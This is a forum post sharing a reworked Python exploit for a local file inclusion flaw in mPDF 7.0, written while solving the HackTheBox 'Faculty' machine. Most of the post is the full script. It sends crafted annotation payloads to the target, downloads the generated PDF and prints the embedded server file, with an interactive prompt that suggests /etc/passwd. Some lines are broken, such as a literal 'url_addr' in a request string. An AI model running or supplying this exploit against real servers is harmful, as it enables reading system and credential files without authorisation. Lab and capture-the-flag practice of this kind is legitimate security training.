Hey everyone,
I was doing HackTheBox Faculty machine, i came across mPDF 7.0 LFI vulnerability. I found exploit for this https://www.exploit-db.com/exploits/50995 .
To my mind the way how it works it’s time consuming, especially if we want to read many files. It looks like that:
- We encode payload using exploit.
- We use burp suite or other tool to send the payload.
- We download file, and retrieve attachment.
I edited the script, added few more lines so that now we can just edit the script, put url adress, run the script and enter the location of the file we want to read. The script will either return file content or show information if we cannot access file (file doesn’t exist or we don’t have read privileges)
Exploit is located at my github page:
https://github.com/P4cm4n90/Exploits/blob/main/mpdf_lfi_exploit.py
Code:
# Exploit Title: mPDF 7.0 - Local File Inclusion - Upgraded by dpsec
# Author: Damian Pajszczyk - dpsec
# This is upgraded version of exploit https://www.exploit-db.com/exploits/50995
# Here we just need to set url adress of mpdf script and some headers
# This will give us continous LFI (download pdf file, extract attachment and print attachment text)
# Tested on HackTheBox Faculty
#
# Original Exploit Info:
# Exploit Title: mPDF 7.0 - Local File Inclusion
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://mpdf.github.io/
# Software Link: https://mpdf.github.io/
from urllib.parse import quote
from cmd import Cmd
from base64 import b64encode
import requests
import re
from pathlib import Path
from PyPDF4 import PdfFileReader, PdfFileWriter
url_addr = 'xxx' < - edit this
cookie = { 'PHPSESSID': '6pfs61lb9om4te0i70pf3fcgdg'}
headers = { 'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://xxx', # <- edit this
'Referer': 'http://xxx'} # <- edit this
class Terminal(Cmd):
prompt = "\nFile >> "
def default(self, args):
payload_gen(args)
def banner():
banner = """ _____ _____ ______ ______ ___ __ __ _ _ _
| __ \| __ \| ____| |____ / _ \ \ \ / / | | (_) |
_ __ ___ | |__) | | | | |__ / / | | | \ V / _____ ___ __ | | ___ _| |_
| '_ ` _ \| ___/| | | | __| / /| | | | > < / _ \ \/ / '_ \| |/ _ \| | __|
| | | | | | | | |__| | | / / | |_| | / . \ | __/> <| |_) | | (_) | | |_
|_| |_| |_|_| |_____/|_| /_/ (_)___(_)_/ \_\ \___/_/\_\ .__/|_|\___/|_|\__|
| |
|_|
UPGRADED BY DPSEC
"""
print(banner)
def payload_gen(fname):
payload = f'<annotation file="{fname}" content="{fname}" icon="Graph" title="Attached File: {fname}" pos-x="195" />'
encoded_payload = quote(payload)
print("[+] Replace the content with the payload below")
base64enc = b64encode(encoded_payload.encode())
print(f"Base64 encoded payload:\n{base64enc.decode()}\n")
get_file(base64enc,fname)
def get_attachment(file_path):
handler = open(file_path,'rb')
reader = PdfFileReader(handler)
catalog = reader.trailer["/Root"]
for page in reader.pages:
for annot in page["/Annots"]:
fData = annot.getObject()['/FS']['/EF']['/F'].getData().decode('UTF-8')
print(fData)
def get_file(data,fname):
response = requests.post(f'url_addr',cookies=cookie,headers=headers,data={"pdf":data})
print(response.text)
if('mPDF Error: Cannot access file attachment' in response.text):
print(f'File {fname} doesn\'t exist')
run_continue()
pdf_name = re.sub(r"[\n\t\s]*", "", response.text)
url = f'http://{url_addr}/mpdf/tmp/{pdf_name}'
r = requests.get(url, stream=True)
temp_filename = Path('temp_file.pdf')
temp_filename.write_bytes(r.content)
get_attachment(temp_filename.name)
print(r.raw)
def run_continue():
terminal= Terminal()
terminal.cmdloop()
if __name__ == ("__main__"):
banner()
print("Enter Filename eg. /etc/passwd")
run_continue()